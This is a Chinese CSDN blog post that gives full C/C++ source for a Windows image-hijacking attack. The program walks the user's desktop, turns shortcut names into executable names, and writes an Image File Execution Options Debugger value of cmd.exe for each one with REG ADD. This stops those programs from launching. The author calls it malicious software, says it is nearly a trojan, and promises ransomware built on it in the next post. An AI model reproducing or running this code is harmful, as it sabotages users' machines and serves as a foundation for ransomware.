C/C++实现windows下的映像劫持(下)之代码实现

32 篇文章 1 订阅
3 篇文章 1 订阅

#C/C++实现windows下的映像劫持(下)之代码实现
#####上一篇文章我们给大家阐述了windows下的映像劫持的原理。本篇文章我将来和大家分享,Windows下如何使用C/C++实现恶意软件修改注册表从而实现映像劫持。
######附上一篇文章传送门:
https://blog.csdn.net/qq_27180763/article/details/82556058

######实现映像劫持所必需的头文件有:

#include "shlobj.h" 
#include <iostream>
#include <string>
#include <list>
#include <vector>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <io.h>

#####在这里,我的程序并未使用任何隐藏技术和多线程技术,准确的说不能算是木马,但是必要之时却也可以起到相应的作用。由于节约时间的问题,我仅仅制作了对当前用户桌面下的所有文件的映像劫持。

######获取桌面路径:

string  getDesktopPath()		//获取桌面路径
	{
		LPITEMIDLIST pidl;
		LPMALLOC pShellMalloc;
		char szDir[200];
		if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
		{
			if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl))) {
				// 如果成功返回true  
				SHGetPathFromIDListA(pidl, szDir);
				pShellMalloc->Free(pidl);
			}
			pShellMalloc->Release();
		}
		return string(szDir);
	}

######遍历桌面下所有文件并将所有文件添加到我的list中,来模拟实现链表的功能:

int  GetAllgpxFilepathFromfolder(string Path)
	{
		char szFind[MAX_PATH];
		WIN32_FIND_DATA FindFileData;
		strcpy(szFind, Path.c_str());
		strcat(szFind, "\\*.*");
		HANDLE hFind = FindFirstFile(szFind, &FindFileData);
		if (INVALID_HANDLE_VALUE == hFind)	return -1;
		do
		{
			if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				if (strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0)
				{
					char szFile[MAX_PATH] = { 0 };
					strcpy(szFile, Path.c_str());
					strcat(szFile, "\\");
					strcat(szFile, FindFileData.cFileName);
					GetAllgpxFilepathFromfolder(szFile);
				}
			}else{
				FileName.push_back(FindFileData.cFileName);
			}
		} while (FindNextFile(hFind, &FindFileData));
		FindClose(hFind);
		return 0;
	}

######这是我从网上copy的一串代码==自己懒得写,,就copy了,作用是从字符串str中把所有的字符A转换成B,虽然我感觉他这个函数写的还是有点问题。。

void replaceA_to_B(std::string& S, const std::string A, const std::string B) {
	std::size_t found = S.find(A);
	while (std::string::npos != found) {
		S.replace(found, A.length(), B);
		found = S.find(A, found + 1);
	}
}

#####基本的核心代码就是以上这些,现在我们来看下主函数调用:(构造函数已省略,完全代码在后面。)

Hacker* one = new Hacker();
	string arr;
	for (list<string>::iterator itor = one->FileName.begin(); itor != one->FileName.end(); itor++)
	{
		replaceA_to_B(*itor, ".lnk", ".exe");
		int pos = 0;
		pos =(*itor).find(".exe");
		if (-1 != pos)
		{
			*itor = (*itor).substr(0, pos+4);
		}
	}
	for (list<string>::iterator itor = one->FileName.begin(); itor != one->FileName.end(); itor++)
	{
		arr = "REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + *itor + "\"" + "  /v Debugger /t REG_SZ /d \"cmd.exe\" /f";
		system(arr.c_str());
	}
	system("pause");
	return 0;

#####唯一要注意的就是win7下貌似注册表项要加双引号才可以访问,win10貌似没有这个要求。在C/C++中,要注意转义字符,所以特别提醒这个双引号转义的问题。

附全部源码:

#include "shlobj.h" 
#include <iostream>
#include <string>
#include <list>
#include <vector>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <io.h>
using namespace std;
class Hacker {
public:
	Hacker()
	{
		Path = this->getDesktopPath();
		GetAllgpxFilepathFromfolder(Path);
	}
private:
	string Path;
public:
	list<string> FileName;
private:
	string  getDesktopPath()		//获取桌面路径
	{
		LPITEMIDLIST pidl;
		LPMALLOC pShellMalloc;
		char szDir[200];
		if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))
		{
			if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl))) {
				// 如果成功返回true  
				SHGetPathFromIDListA(pidl, szDir);
				pShellMalloc->Free(pidl);
			}
			pShellMalloc->Release();
		}

		return string(szDir);
	}

private:
	int  GetAllgpxFilepathFromfolder(string Path)
	{
		char szFind[MAX_PATH];
		WIN32_FIND_DATA FindFileData;
		strcpy(szFind, Path.c_str());
		strcat(szFind, "\\*.*");
		HANDLE hFind = FindFirstFile(szFind, &FindFileData);
		if (INVALID_HANDLE_VALUE == hFind)	return -1;
		do
		{
			if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
			{
				if (strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0)
				{
					//发现子目录,递归之
					char szFile[MAX_PATH] = { 0 };
					strcpy(szFile, Path.c_str());
					strcat(szFile, "\\");
					strcat(szFile, FindFileData.cFileName);
					GetAllgpxFilepathFromfolder(szFile);
				}
			}else{
				FileName.push_back(FindFileData.cFileName);
			}
		} while (FindNextFile(hFind, &FindFileData));
		FindClose(hFind);
		return 0;
	}
};

void replaceA_to_B(std::string& S, const std::string A, const std::string B) {
	std::size_t found = S.find(A);
	while (std::string::npos != found) {
		S.replace(found, A.length(), B);
		found = S.find(A, found + 1);
	}
}
int main()
{
	Hacker* one = new Hacker();
	string arr;
	for (list<string>::iterator itor = one->FileName.begin(); itor != one->FileName.end(); itor++)
	{
		replaceA_to_B(*itor, ".lnk", ".exe");
		int pos = 0;
		pos =(*itor).find(".exe");
		if (-1 != pos)
		{
			*itor = (*itor).substr(0, pos+4);
		}
	}
	for (list<string>::iterator itor = one->FileName.begin(); itor != one->FileName.end(); itor++)
	{
		arr = "REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + *itor + "\"" + "  /v Debugger /t REG_SZ /d \"cmd.exe\" /f";
		system(arr.c_str());
	}
	system("pause");
	return 0;
}

#下一期我们将给大家带来基于windows下的映像劫持攻击后的勒索病毒实现。

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

程序小黑

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值